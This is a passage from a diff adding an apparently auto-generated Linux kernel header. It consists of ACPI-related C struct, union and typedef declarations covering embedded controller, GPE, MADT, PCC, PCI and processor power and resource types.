polling_guard; +}; + +struct transaction { + const u8 *wdata; + u8 *rdata; + unsigned short irq_count; + u8 command; + u8 wi; + u8 ri; + u8 wlen; + u8 rlen; + u8 flags; +}; + +struct acpi_ec_query_handler; + +struct acpi_ec_query { + struct transaction transaction; + struct work_struct work; + struct acpi_ec_query_handler *handler; + struct acpi_ec *ec; +}; + +typedef int (*acpi_ec_query_func)(void *); + +struct acpi_ec_query_handler { + struct list_head node; + acpi_ec_query_func func; + acpi_handle handle; + void *data; + u8 query_bit; + struct kref kref; +}; + +union acpi_predefined_info; + +struct acpi_evaluate_info { + struct acpi_namespace_node *prefix_node; + const char *relative_pathname; + union acpi_operand_object **parameters; + struct acpi_namespace_node *node; + union acpi_operand_object *obj_desc; + char *full_pathname; + const union acpi_predefined_info *predefined; + union acpi_operand_object *return_object; + union acpi_operand_object *parent_package; + u32 return_flags; + u32 return_btype; + u16 param_count; + u16 node_flags; + u8 pass_number; + u8 return_object_type; + u8 flags; +}; + +struct acpi_exception_info { + char *name; +}; + +struct acpi_fadt_info { + const char *name; + u16 address64; + u16 address32; + u16 length; + u8 default_length; + u8 flags; +}; + +struct acpi_generic_address; + +struct acpi_fadt_pm_info { + struct acpi_generic_address *target; + u16 source; + u8 register_num; +}; + +struct acpi_fan_fif { + u8 revision; + u8 fine_grain_ctrl; + u8 step_size; + u8 low_speed_notification; +}; + +struct device_attribute { + struct attribute attr; + ssize_t (*show)(struct device *, struct device_attribute *, char *); + ssize_t (*store)(struct device *, struct device_attribute *, const char *, size_t); +}; + +struct acpi_fan_fps; + +struct thermal_cooling_device; + +struct acpi_fan { + bool acpi4; + struct acpi_fan_fif fif; + struct acpi_fan_fps *fps; + int fps_count; + struct thermal_cooling_device *cdev; + struct device_attribute fst_speed; + struct device_attribute fine_grain_control; +}; + +struct acpi_fan_fps { + u64 control; + u64 trip_point; + u64 speed; + u64 noise_level; + u64 power; + char name[20]; + struct device_attribute dev_attr; +}; + +struct acpi_fan_fst { + u64 revision; + u64 control; + u64 speed; +}; + +struct acpi_ffh_info { + u64 offset; + u64 length; +}; + +typedef u32 (*acpi_event_handler)(void *); + +struct acpi_fixed_event_handler { + acpi_event_handler handler; + void *context; +}; + +struct acpi_fixed_event_info { + u8 status_register_id; + u8 enable_register_id; + u16 status_bit_mask; + u16 enable_bit_mask; +}; + +struct acpi_ged_device { + struct device *dev; + struct list_head event_list; +}; + +struct acpi_ged_event { + struct list_head node; + struct device *dev; + unsigned int gsi; + unsigned int irq; + acpi_handle handle; +}; + +struct acpi_ged_handler_info { + struct acpi_ged_handler_info *next; + u32 int_id; + struct acpi_namespace_node *evt_method; +}; + +struct acpi_generic_address { + u8 space_id; + u8 bit_width; + u8 bit_offset; + u8 access_width; + u64 address; +} __attribute__((packed)); + +struct acpi_update_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + union acpi_operand_object *object; +}; + +struct acpi_scope_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + struct acpi_namespace_node *node; +}; + +struct acpi_pscope_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + u32 arg_count; + union acpi_parse_object *op; + u8 *arg_end; + u8 *pkg_end; + u32 arg_list; +}; + +struct acpi_pkg_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + u32 index; + union acpi_operand_object *source_object; + union acpi_operand_object *dest_object; + struct acpi_walk_state *walk_state; + void *this_target_obj; + u32 num_packages; +}; + +struct acpi_thread_state { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + u8 current_sync_level; + struct acpi_walk_state *walk_state_list; + union acpi_operand_object *acquired_mutex_list; + u64 thread_id; +}; + +struct acpi_result_values { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + union acpi_operand_object *obj_desc[8]; +}; + +struct acpi_global_notify_handler; + +struct acpi_notify_info { + void *next; + u8 descriptor_type; + u8 flags; + u16 value; + u16 state; + u8 handler_list_id; + struct acpi_namespace_node *node; + union acpi_operand_object *handler_list_head; + struct acpi_global_notify_handler *global; +}; + +union acpi_generic_state { + struct acpi_common_state common; + struct acpi_control_state control; + struct acpi_update_state update; + struct acpi_scope_state scope; + struct acpi_pscope_state parse_scope; + struct acpi_pkg_state pkg; + struct acpi_thread_state thread; + struct acpi_result_values results; + struct acpi_notify_info notify; +}; + +struct acpi_genl_event { + acpi_device_class device_class; + char bus_id[15]; + u32 type; + u32 data; +}; + +typedef acpi_status (*acpi_walk_callback)(acpi_handle, u32, void *, void **); + +struct acpi_get_devices_info { + acpi_walk_callback user_function; + void *context; + const char *hid; +}; + +struct acpi_global_notify_handler { + acpi_notify_handler handler; + void *context; +}; + +struct acpi_gpe_address { + u8 space_id; + u64 address; +}; + +struct acpi_gpe_xrupt_info; + +struct acpi_gpe_register_info; + +struct acpi_gpe_event_info; + +struct acpi_gpe_block_info { + struct acpi_namespace_node *node; + struct acpi_gpe_block_info *previous; + struct acpi_gpe_block_info *next; + struct acpi_gpe_xrupt_info *xrupt_block; + struct acpi_gpe_register_info *register_info; + struct acpi_gpe_event_info *event_info; + u64 address; + u32 register_count; + u16 gpe_count; + u16 block_base_number; + u8 space_id; + u8 initialized; +}; + +struct acpi_gpe_block_status_context { + struct acpi_gpe_register_info *gpe_skip_register_info; + u8 gpe_skip_mask; + u8 retval; +}; + +struct acpi_gpe_device_info { + u32 index; + u32 next_block_base_index; + acpi_status status; + struct acpi_namespace_node *gpe_device; +}; + +struct acpi_gpe_handler_info; + +struct acpi_gpe_notify_info; + +union acpi_gpe_dispatch_info { + struct acpi_namespace_node *method_node; + struct acpi_gpe_handler_info *handler; + struct acpi_gpe_notify_info *notify_list; +}; + +struct acpi_gpe_event_info { + union acpi_gpe_dispatch_info dispatch; + struct acpi_gpe_register_info *register_info; + u8 flags; + u8 gpe_number; + u8 runtime_count; + u8 disable_for_dispatch; +}; + +typedef u32 (*acpi_gpe_handler)(acpi_handle, u32, void *); + +struct acpi_gpe_handler_info { + acpi_gpe_handler address; + void *context; + struct acpi_namespace_node *method_node; + u8 original_flags; + u8 originally_enabled; +}; + +struct acpi_gpe_notify_info { + struct acpi_namespace_node *device_node; + struct acpi_gpe_notify_info *next; +}; + +struct acpi_gpe_register_info { + struct acpi_gpe_address status_address; + struct acpi_gpe_address enable_address; + u16 base_gpe_number; + u8 enable_for_wake; + u8 enable_for_run; + u8 mask_for_run; + u8 enable_mask; +}; + +struct acpi_gpe_walk_info { + struct acpi_namespace_node *gpe_device; + struct acpi_gpe_block_info *gpe_block; + u16 count; + acpi_owner_id owner_id; + u8 execute_by_owner_id; +}; + +struct acpi_gpe_xrupt_info { + struct acpi_gpe_xrupt_info *previous; + struct acpi_gpe_xrupt_info *next; + struct acpi_gpe_block_info *gpe_block_list_head; + u32 interrupt_number; +}; + +struct acpi_gpio_params; + +struct acpi_gpio_mapping { + const char *name; + const struct acpi_gpio_params *data; + unsigned int size; + unsigned int quirks; +}; + +struct acpi_gpio_params { + unsigned int crs_entry_index; + unsigned int line_index; + bool active_low; +}; + +struct acpi_handle_list { + u32 count; + acpi_handle *handles; +}; + +struct acpi_hardware_id { + struct list_head list; + const char *id; +}; + +struct acpi_hmat_structure { + u16 type; + u16 reserved; + u32 length; +}; + +typedef int (*acpi_hp_notify)(struct acpi_device *, u32); + +typedef void (*acpi_hp_uevent)(struct acpi_device *, u32); + +typedef void (*acpi_hp_fixup)(struct acpi_device *); + +struct acpi_hotplug_context { + struct acpi_device *self; + acpi_hp_notify notify; + acpi_hp_uevent uevent; + acpi_hp_fixup fixup; +}; + +struct acpi_hotplug_profile { + struct kobject kobj; + int (*scan_dependent)(struct acpi_device *); + void (*notify_online)(struct acpi_device *); + bool enabled: 1; + bool demand_offline: 1; +}; + +struct acpi_hp_work { + struct work_struct work; + struct acpi_device *adev; + u32 src; +}; + +struct acpi_init_walk_info { + u32 table_index; + u32 object_count; + u32 method_count; + u32 serial_method_count; + u32 non_serial_method_count; + u32 serialized_method_count; + u32 device_count; + u32 op_region_count; + u32 field_count; + u32 buffer_count; + u32 package_count; + u32 op_region_init; + u32 field_init; + u32 buffer_init; + u32 package_init; + acpi_owner_id owner_id; +}; + +struct acpi_interface_info { + char *name; + struct acpi_interface_info *next; + u8 flags; + u8 value; +}; + +struct acpi_io_attribute { + u8 range_type; + u8 translation; + u8 translation_type; + u8 reserved1; +}; + +struct rcu_work { + struct work_struct work; + struct callback_head rcu; + struct workqueue_struct *wq; +}; + +struct acpi_ioremap { + struct list_head list; + void *virt; + acpi_physical_address phys; + acpi_size size; + union { + unsigned long refcount; + struct rcu_work rwork; + } track; +}; + +struct acpi_lpat { + int temp; + int raw; +}; + +struct acpi_lpat_conversion_table { + struct acpi_lpat *lpat; + int lpat_count; +}; + +struct acpi_lpi_state { + u32 min_residency; + u32 wake_latency; + u32 flags; + u32 arch_flags; + u32 res_cnt_freq; + u32 enable_parent_state; + u64 address; + u8 index; + u8 entry_method; + char desc[32]; +}; + +struct acpi_lpi_states_array { + unsigned int size; + unsigned int composite_states_size; + struct acpi_lpi_state *entries; + struct acpi_lpi_state *composite_states[8]; +}; + +struct acpi_lpit_header { + u32 type; + u32 length; + u16 unique_id; + u16 reserved; + u32 flags; +}; + +struct acpi_lpit_native { + struct acpi_lpit_header header; + struct acpi_generic_address entry_trigger; + u32 residency; + u32 latency; + struct acpi_generic_address residency_counter; + u64 counter_frequency; +}; + +struct acpi_subtable_header { + u8 type; + u8 length; +}; + +struct acpi_madt_core_pic { + struct acpi_subtable_header header; + u8 version; + u32 processor_id; + u32 core_id; + u32 flags; +} __attribute__((packed)); + +struct acpi_madt_generic_distributor { + struct acpi_subtable_header header; + u16 reserved; + u32 gic_id; + u64 base_address; + u32 global_irq_base; + u8 version; + u8 reserved2[3]; +}; + +struct acpi_madt_generic_interrupt { + struct acpi_subtable_header header; + u16 reserved; + u32 cpu_interface_number; + u32 uid; + u32 flags; + u32 parking_version; + u32 performance_interrupt; + u64 parked_address; + u64 base_address; + u64 gicv_base_address; + u64 gich_base_address; + u32 vgic_interrupt; + u64 gicr_base_address; + u64 arm_mpidr; + u8 efficiency_class; + u8 reserved2[1]; + u16 spe_interrupt; + u16 trbe_interrupt; +} __attribute__((packed)); + +struct acpi_madt_interrupt_override { + struct acpi_subtable_header header; + u8 bus; + u8 source_irq; + u32 global_irq; + u16 inti_flags; +} __attribute__((packed)); + +struct acpi_madt_interrupt_source { + struct acpi_subtable_header header; + u16 inti_flags; + u8 type; + u8 id; + u8 eid; + u8 io_sapic_vector; + u32 global_irq; + u32 flags; +}; + +struct acpi_madt_io_apic { + struct acpi_subtable_header header; + u8 id; + u8 reserved; + u32 address; + u32 global_irq_base; +}; + +struct acpi_madt_io_sapic { + struct acpi_subtable_header header; + u8 id; + u8 reserved; + u32 global_irq_base; + u64 address; +}; + +struct acpi_madt_local_apic { + struct acpi_subtable_header header; + u8 processor_id; + u8 id; + u32 lapic_flags; +}; + +struct acpi_madt_local_apic_nmi { + struct acpi_subtable_header header; + u8 processor_id; + u16 inti_flags; + u8 lint; +} __attribute__((packed)); + +struct acpi_madt_local_apic_override { + struct acpi_subtable_header header; + u16 reserved; + u64 address; +} __attribute__((packed)); + +struct acpi_madt_local_sapic { + struct acpi_subtable_header header; + u8 processor_id; + u8 id; + u8 eid; + u8 reserved[3]; + u32 lapic_flags; + u32 uid; + char uid_string[0]; +}; + +struct acpi_madt_local_x2apic { + struct acpi_subtable_header header; + u16 reserved; + u32 local_apic_id; + u32 lapic_flags; + u32 uid; +}; + +struct acpi_madt_local_x2apic_nmi { + struct acpi_subtable_header header; + u16 inti_flags; + u32 uid; + u8 lint; + u8 reserved[3]; +}; + +struct acpi_madt_multiproc_wakeup { + struct acpi_subtable_header header; + u16 version; + u32 reserved; + u64 mailbox_address; + u64 reset_vector; +}; + +struct acpi_madt_multiproc_wakeup_mailbox { + u16 command; + u16 reserved; + u32 apic_id; + u64 wakeup_vector; + u8 reserved_os[2032]; + u8 reserved_firmware[2048]; +}; + +struct acpi_madt_nmi_source { + struct acpi_subtable_header header; + u16 inti_flags; + u32 global_irq; +}; + +struct acpi_madt_rintc { + struct acpi_subtable_header header; + u8 version; + u8 reserved; + u32 flags; + u64 hart_id; + u32 uid; + u32 ext_intc_id; + u64 imsic_addr; + u32 imsic_size; +} __attribute__((packed)); + +struct acpi_mcfg_allocation { + u64 address; + u16 pci_segment; + u8 start_bus_number; + u8 end_bus_number; + u32 reserved; +}; + +struct acpi_mem_mapping { + acpi_physical_address physical_address; + u8 *logical_address; + acpi_size length; + struct acpi_mem_mapping *next_mm; +}; + +struct acpi_mem_space_context { + u32 length; + acpi_physical_address address; + struct acpi_mem_mapping *cur_mm; + struct acpi_mem_mapping *first_mm; +}; + +struct acpi_memory_attribute { + u8 write_protect; + u8 caching; + u8 range_type; + u8 translation; +}; + +struct acpi_mutex_info { + void *mutex; + u32 use_count; + u64 thread_id; +}; + +struct acpi_name_info { + char name[4]; + u16 argument_list; + u8 expected_btypes; +} __attribute__((packed)); + +struct acpi_namestring_info { + const char *external_name; + const char *next_external_char; + char *internal_name; + u32 length; + u32 num_segments; + u32 num_carats; + u8 fully_qualified; +}; + +union acpi_object { + acpi_object_type type; + struct { + acpi_object_type type; + u64 value; + } integer; + struct { + acpi_object_type type; + u32 length; + char *pointer; + } string; + struct { + acpi_object_type type; + u32 length; + u8 *pointer; + } buffer; + struct { + acpi_object_type type; + u32 count; + union acpi_object *elements; + } package; + struct { + acpi_object_type type; + acpi_object_type actual_type; + acpi_handle handle; + } reference; + struct { + acpi_object_type type; + u32 proc_id; + acpi_io_address pblk_address; + u32 pblk_length; + } processor; + struct { + acpi_object_type type; + u32 system_level; + u32 resource_order; + } power_resource; +}; + +struct acpi_object_list { + u32 count; + union acpi_object *pointer; +}; + +struct acpi_opcode_info { + u32 parse_args; + u32 runtime_args; + u16 flags; + u8 object_type; + u8 class; + u8 type; +}; + +typedef void (*acpi_osd_exec_callback)(void *); + +struct acpi_os_dpc { + acpi_osd_exec_callback function; + void *context; + struct work_struct work; +}; + +struct acpi_osc_context { + char *uuid_str; + int rev; + struct acpi_buffer cap; + struct acpi_buffer ret; +}; + +struct acpi_osi_config { + u8 default_disabling; + unsigned int linux_enable: 1; + unsigned int linux_dmi: 1; + unsigned int linux_cmdline: 1; + unsigned int darwin_enable: 1; + unsigned int darwin_dmi: 1; + unsigned int darwin_cmdline: 1; +}; + +struct acpi_osi_entry { + char string[64]; + bool enable; +}; + +struct acpi_package_info { + u8 type; + u8 object_type1; + u8 count1; + u8 object_type2; + u8 count2; + u16 reserved; +} __attribute__((packed)); + +struct acpi_package_info2 { + u8 type; + u8 count; + u8 object_type[4]; + u8 reserved; +}; + +struct acpi_package_info3 { + u8 type; + u8 count; + u8 object_type[2]; + u8 tail_object_type; + u16 reserved; +} __attribute__((packed)); + +struct acpi_package_info4 { + u8 type; + u8 object_type1; + u8 count1; + u8 sub_object_types; + u8 pkg_count; + u16 reserved; +} __attribute__((packed)); + +struct acpi_parse_state { + u8 *aml_start; + u8 *aml; + u8 *aml_end; + u8 *pkg_start; + u8 *pkg_end; + union acpi_parse_object *start_op; + struct acpi_namespace_node *start_node; + union acpi_generic_state *scope; + union acpi_parse_object *start_scope; + u32 aml_size; +}; + +struct acpi_pcc_info { + u8 subspace_id; + u16 length; + u8 *internal_buffer; +}; + +struct acpi_pcct_ext_pcc_master { + struct acpi_subtable_header header; + u32 platform_interrupt; + u8 flags; + u8 reserved1; + u64 base_address; + u32 length; + struct acpi_generic_address doorbell_register; + u64 preserve_mask; + u64 write_mask; + u32 latency; + u32 max_access_rate; + u32 min_turnaround_time; + struct acpi_generic_address platform_ack_register; + u64 ack_preserve_mask; + u64 ack_set_mask; + u64 reserved2; + struct acpi_generic_address cmd_complete_register; + u64 cmd_complete_mask; + struct acpi_generic_address cmd_update_register; + u64 cmd_update_preserve_mask; + u64 cmd_update_set_mask; + struct acpi_generic_address error_status_register; + u64 error_status_mask; +} __attribute__((packed)); + +struct acpi_pcct_hw_reduced { + struct acpi_subtable_header header; + u32 platform_interrupt; + u8 flags; + u8 reserved; + u64 base_address; + u64 length; + struct acpi_generic_address doorbell_register; + u64 preserve_mask; + u64 write_mask; + u32 latency; + u32 max_access_rate; + u16 min_turnaround_time; +} __attribute__((packed)); + +struct acpi_pcct_hw_reduced_type2 { + struct acpi_subtable_header header; + u32 platform_interrupt; + u8 flags; + u8 reserved; + u64 base_address; + u64 length; + struct acpi_generic_address doorbell_register; + u64 preserve_mask; + u64 write_mask; + u32 latency; + u32 max_access_rate; + u16 min_turnaround_time; + struct acpi_generic_address platform_ack_register; + u64 ack_preserve_mask; + u64 ack_write_mask; +} __attribute__((packed)); + +struct acpi_pcct_shared_memory { + u32 signature; + u16 command; + u16 status; +}; + +struct acpi_pcct_subspace { + struct acpi_subtable_header header; + u8 reserved[6]; + u64 base_address; + u64 length; + struct acpi_generic_address doorbell_register; + u64 preserve_mask; + u64 write_mask; + u32 latency; + u32 max_access_rate; + u16 min_turnaround_time; +} __attribute__((packed)); + +struct acpi_pci_device { + acpi_handle device; + struct acpi_pci_device *next; +}; + +struct acpi_pci_id { + u16 segment; + u16 bus; + u16 device; + u16 function; +}; + +struct resource { + resource_size_t start; + resource_size_t end; + const char *name; + unsigned long flags; + unsigned long desc; + struct resource *parent; + struct resource *sibling; + struct resource *child; +}; + +struct pci_dev; + +struct acpi_pci_ioapic { + acpi_handle root_handle; + acpi_handle handle; + u32 gsi_base; + struct resource res; + struct pci_dev *pdev; + struct list_head list; +}; + +struct acpi_pci_link_irq { + u32 active; + u8 triggering; + u8 polarity; + u8 resource_type; + u8 possible_count; + u32 possible[16]; + u8 initialized: 1; + u8 reserved: 7; +}; + +struct acpi_pci_link { + struct list_head list; + struct acpi_device *device; + struct acpi_pci_link_irq irq; + int refcnt; +}; + +struct pci_bus; + +struct acpi_pci_root { + struct acpi_device *device; + struct pci_bus *bus; + u16 segment; + int bridge_type; + struct resource secondary; + u32 osc_support_set; + u32 osc_control_set; + u32 osc_ext_support_set; + u32 osc_ext_control_set; + phys_addr_t mcfg_addr; +}; + +struct acpi_pci_root_ops; + +struct acpi_pci_root_info { + struct acpi_pci_root *root; + struct acpi_device *bridge; + struct acpi_pci_root_ops *ops; + struct list_head resources; + char name[16]; +}; + +struct pci_ops; + +struct acpi_pci_root_ops { + struct pci_ops *pci_ops; + int (*init_info)(struct acpi_pci_root_info *); + void (*release_info)(struct acpi_pci_root_info *); + int (*prepare_resources)(struct acpi_pci_root_info *); +}; + +struct acpi_pci_routing_table { + u32 length; + u32 pin; + u64 address; + u32 source_index; + union { + char pad[4]; + struct { + struct {} __Empty_source; + char source[0]; + }; + }; +}; + +struct acpi_pct_register { + u8 descriptor; + u16 length; + u8 space_id; + u8 bit_width; + u8 bit_offset; + u8 reserved; + u64 address; +} __attribute__((packed)); + +struct acpi_pkg_info { + u8 *free_space; + acpi_size length; + u32 object_space; + u32 num_packages; +}; + +struct acpi_platform_list { + char oem_id[7]; + char oem_table_id[9]; + u32 oem_revision; + char *table; + enum acpi_predicate pred; + char *reason; + u32 data; +}; + +struct acpi_pld_info { + u8 revision; + u8 ignore_color; + u8 red; + u8 green; + u8 blue; + u16 width; + u16 height; + u8 user_visible; + u8 dock; + u8 lid; + u8 panel; + u8 vertical_position; + u8 horizontal_position; + u8 shape; + u8 group_orientation; + u8 group_token; + u8 group_position; + u8 bay; + u8 ejectable; + u8 ospm_eject_required; + u8 cabinet_number; + u8 card_cage_number; + u8 reference; + u8 rotation; + u8 order; + u8 reserved; + u16 vertical_offset; + u16 horizontal_offset; +}; + +struct acpi_port_info { + char *name; + u16 start; + u16 end; + u8 osi_dependency; +}; + +struct acpi_power_dependent_device { + struct device *dev; + struct list_head node; +}; + +struct acpi_power_register { + u8 descriptor; + u16 length; + u8 space_id; + u8 bit_width; + u8 bit_offset; + u8 access_size; + u64 address; +} __attribute__((packed)); + +struct acpi_power_resource { + struct acpi_device device; + struct list_head list_node; + u32 system_level; + u32 order; + unsigned int ref_count; + u8 state; + struct mutex resource_lock; + struct list_head dependents; +}; + +struct acpi_power_resource_entry { + struct list_head node; + struct acpi_power_resource *resource; +}; + +union acpi_predefined_info { + struct acpi_name_info info; + struct acpi_package_info ret_info; + struct acpi_package_info2 ret_info2; + struct acpi_package_info3 ret_info3; + struct acpi_package_info4 ret_info4; +}; + +struct acpi_predefined_names { + const char *name; + u8 type; + char *val; +}; + +struct acpi_prmt_handler_info { + u16 revision; + u16 length; + u8 handler_guid[16]; + u64 handler_address; + u64 static_data_buffer_address; + u64 acpi_param_buffer_address; +} __attribute__((packed)); + +struct acpi_prmt_module_header { + u16 revision; + u16 length; +}; + +struct acpi_prmt_module_info { + u16 revision; + u16 length; + u8 module_guid[16]; + u16 major_rev; + u16 minor_rev; + u16 handler_info_count; + u32 handler_info_offset; + u64 mmio_list_pointer; +} __attribute__((packed)); + +struct acpi_probe_entry; + +typedef bool (*acpi_probe_entry_validate_subtbl)(struct acpi_subtable_header *, struct acpi_probe_entry *); + +struct acpi_table_header; + +typedef int (*acpi_tbl_table_handler)(struct acpi_table_header *); + +union acpi_subtable_headers; + +typedef int (*acpi_tbl_entry_handler)(union acpi_subtable_headers *, const unsigned long); + +struct acpi_probe_entry { + __u8 id[5]; + __u8 type; + acpi_probe_entry_validate_subtbl subtable_valid; + union { + acpi_tbl_table_handler probe_table; + acpi_tbl_entry_handler probe_subtbl; + }; + kernel_ulong_t driver_data; +}; + +struct acpi_processor_flags { + u8 power: 1; + u8 performance: 1; + u8 throttling: 1; + u8 limit: 1; + u8 bm_control: 1; + u8 bm_check: 1; + u8 has_cst: 1; + u8 has_lpi: 1; + u8 power_setup_done: 1; + u8 bm_rld_set: 1; + u8 previously_online: 1; +}; + +struct acpi_processor_cx { + u8 valid; + u8 type; + u32 address; + u8 entry_method; + u8 index; + u32 latency; + u8 bm_sts_skip; + char desc[32]; +}; + +struct acpi_processor_power { + int count; + union { + struct acpi_processor_cx states[8]; + struct acpi_lpi_state lpi_states[8]; + }; + int timer_broadcast_on_state; +}; + +struct acpi_tsd_package { + u64 num_entries; + u64 revision; + u64 domain; + u64 coord_type; + u64 num_processors; +}; + +struct acpi_processor_tx { + u16 power; + u16 performance; +}; + +struct acpi_processor_tx_tss; + +struct acpi_processor; + +struct acpi_processor_throttling { + unsigned int state; + unsigned int platform_limit; + struct acpi_pct_register control_register; + struct acpi_pct_register status_register; + unsigned int state_count; + struct acpi_processor_tx_tss *states_tss; + struct acpi_tsd_package domain_info; + cpumask_var_t shared_cpu_map; + int (*acpi_processor_get_throttling)(struct acpi_processor *); + int (*acpi_processor_set_throttling)(struct acpi_processor *, int, bool); + u32 address; + u8 duty_offset; + u8 duty_width; + u8 tsd_valid_flag; + unsigned int shared_type; + struct acpi_processor_tx states[16]; +}; + +struct acpi_processor_lx { + int px; + int tx; +}; + +struct acpi_processor_limit { + struct acpi_processor_lx state; + struct acpi_processor_lx thermal; + struct acpi_processor_lx user; +}; + +struct plist_node { + int prio; + struct list_head prio_list; + struct list_head node_list; +}; + +struct freq_constraints; + +struct freq_qos_request { + enum freq_qos_req_type type; + struct plist_node pnode; + struct freq_constraints *qos; +}; + +struct acpi_processor_performance; + +struct acpi_processor { + acpi_handle handle; + u32 acpi_id; + phys_cpuid_t phys_id; + u32 id; + u32 pblk; + int performance_platform_limit; + int throttling_platform_limit; + struct acpi_processor_flags flags; + struct acpi_processor_power power; + struct acpi_processor_performance *performance; + struct acpi_processor_throttling throttling; + struct acpi_processor_limit limit; + struct thermal_cooling_device *cdev; + struct device *dev; + struct freq_qos_request perflib_req; + struct freq_qos_request thermal_req; +}; + +struct acpi_processor_errata { + u8 smp; + struct { + u8 throttle: 1; + u8 fdma: 1; + u8 reserved: 6; + u32 bmisx; + } piix4; +}; + +struct acpi_psd_package { + u64 num_entries; + u64 revision; + u64 domain; + u64 coord_type; + u64 num_processors; +}; + +struct acpi_processor_px; + +struct acpi_processor_performance { + unsigned int state; + unsigned int platform_limit; + struct acpi_pct_register control_register; + struct acpi_pct_register status_register; + unsigned int state_count; + struct acpi_processor_px *states; + struct acpi_psd_package domain_info; + cpumask_var_t shared_cpu_map; + unsigned int shared_type; +}; + +struct acpi_processor_px { + u64 core_frequency; + u64 power; + u64 transition_latency; + u64 bus_master_latency; + u64 control; + u64 status; +}; + +struct acpi_processor_throttling_arg { + struct acpi_processor *pr; + int target_state; + bool force; +}; + +struct acpi_processor_tx_tss { + u64 freqpercentage; + u64 power; + u64 transition_latency; + u64 control; + u64 status; +}; + +struct acpi_prt_entry { + struct acpi_pci_id id; + u8 pin; + acpi_handle link; + u32 index; +}; + +struct acpi_reg_walk_info { + u32 function; + u32 reg_run_count; + acpi_adr_space_type space_id; +}; + +typedef acpi_status (*acpi_repair_function)(struct acpi_evaluate_info *, union acpi_operand_object **); + +struct acpi_repair_info { + char name[4]; + acpi_repair_function repair_function; +}; + +struct acpi_resource_irq { + u8 descriptor_length; + u8 triggering; + u8 polarity; + u8 shareable; + u8 wake_capable; + u8 interrupt_count; + union { + u8 interrupt; + struct { + struct {} __Empty_interrupts; + u8 interrupts[0]; + }; + }; +}; + +struct acpi_resource_dma { + u8 type; + u8 bus_master; + u8 transfer; + u8 channel_count; + union { + u8 channel; + struct { + struct {} __Empty_channels; + u8 channels[0]; + }; + }; +}; + +struct acpi_resource_start_dependent { + u8 descriptor_length; + u8 compatibility_priority; + u8 performance_robustness; +}; + +struct acpi_resource_io { + u8 io_decode; + u8 alignment; + u8 address_length; + u16 minimum; + u16 maximum; +} __attribute__((packed)); + +struct acpi_resource_fixed_io { + u16 address; + u8 address_length; +} __attribute__((packed)); + +struct acpi_resource_fixed_dma { + u16 request_lines; + u16 channels; + u8 width; +} __attribute__((packed)); + +struct acpi_resource_vendor { + u16 byte_length; + u8 byte_data[0]; +}; + +struct acpi_resource_vendor_typed { + u16 byte_length; + u8 uuid_subtype; + u8 uuid[16]; + u8 byte_data[0]; +} __attribute__((packed)); + +struct acpi_resource_end_tag { + u8 checksum; +}; + +struct acpi_resource_memory24 { + u8 write_protect; + u16 minimum; + u16 maximum; + u16 alignment; + u16 address_length; +} __attribute__((packed)); + +struct acpi_resource_memory32 { + u8 write_protect; + u32 minimum; + u32 maximum; + u32 alignment; + u32 address_length; +} __attribute__((packed)); + +struct acpi_resource_fixed_memory32 { + u8 write_protect; + u32 address; + u32 address_length; +} __attribute__((packed)); + +union acpi_resource_attribute { + struct acpi_memory_attribute mem; + struct acpi_io_attribute io; + u8 type_specific; +}; + +struct acpi_resource_source { + u8 index; + u16 string_length; + char *string_ptr; +} __attribute__((packed)); + +struct acpi_resource_address16 { + u8 resource_type; + u8 producer_consumer; + u8 decode; + u8 min_address_fixed; + u8 max_address_fixed; + union acpi_resource_attribute info; + struct acpi_address16_attribute address; + struct acpi_resource_source resource_source; +} __attribute__((packed)); + +struct acpi_resource_address32 { + u8 resource_type; + u8 producer_consumer; + u8 decode; + u8 min_address_fixed; + u8 max_address_fixed; + union acpi_resource_attribute info; + struct acpi_address32_attribute address; + struct acpi_resource_source resource_source; +} __attribute__((packed)); + +struct acpi_resource_address64 { + u8 resource_type; + u8 producer_consumer; + u8 decode; + u8 min_address_fixed; + u8 max_address_fixed; + union acpi_resource_attribute info; + struct acpi_address64_attribute address; + struct acpi_resource_source resource_source; +} __attribute__((packed)); + +struct acpi_resource_extended_address64 { + u8 resource_type; + u8 producer_consumer; + u8 decode; + u8 min_address_fixed; + u8 max_address_fixed; + union acpi_resource_attribute info; + u8 revision_ID; + struct acpi_address64_attribute address; + u64 type_specific; +} __attribute__((packed)); + +struct acpi_resource_extended_irq { + u8 producer_consumer; + u8 triggering; + u8 polarity; + u8 shareable; + u8 wake_capable; + u8 interrupt_count; + struct acpi_resource_source resource_source; + union { + u32 interrupt; + struct { + struct {} __Empty_interrupts; + u32 interrupts[0]; + }; + }; +} __attribute__((packed)); + +struct acpi_resource_generic_register { + u8 space_id; + u8 bit_width; + u8 bit_offset; + u8 access_size; + u64 address; +} __attribute__((packed)); + +struct acpi_resource_gpio { + u8 revision_id; + u8 connection_type; + u8 producer_consumer; + u8 pin_config; + u8 shareable; + u8 wake_capable; + u8 io_restriction; + u8 triggering; + u8 polarity; + u16 drive_strength; + u16 debounce_timeout; + u16 pin_table_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u16 *pin_table; + u8 *vendor_data; +} __attribute__((packed)); + +struct acpi_resource_i2c_serialbus { + u8 revision_id; + u8 type; + u8 producer_consumer; + u8 slave_mode; + u8 connection_sharing; + u8 type_revision_id; + u16 type_data_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u8 *vendor_data; + u8 access_mode; + u16 slave_address; + u32 connection_speed; +} __attribute__((packed)); + +struct acpi_resource_spi_serialbus { + u8 revision_id; + u8 type; + u8 producer_consumer; + u8 slave_mode; + u8 connection_sharing; + u8 type_revision_id; + u16 type_data_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u8 *vendor_data; + u8 wire_mode; + u8 device_polarity; + u8 data_bit_length; + u8 clock_phase; + u8 clock_polarity; + u16 device_selection; + u32 connection_speed; +} __attribute__((packed)); + +struct acpi_resource_uart_serialbus { + u8 revision_id; + u8 type; + u8 producer_consumer; + u8 slave_mode; + u8 connection_sharing; + u8 type_revision_id; + u16 type_data_length; + u16 vendor_length; + struct acpi_resource_source resource_source; + u8 *vendor_data; + u8 endian; + u8 data_bits; + u8 stop_bits; + u8 flow_control; + u8 parity; + u8 lines_enabled; + u16 rx_fifo_size; + u16 tx_fifo_size; + u32 default_baud_rate; +} __attribute__((packed)); + +struct 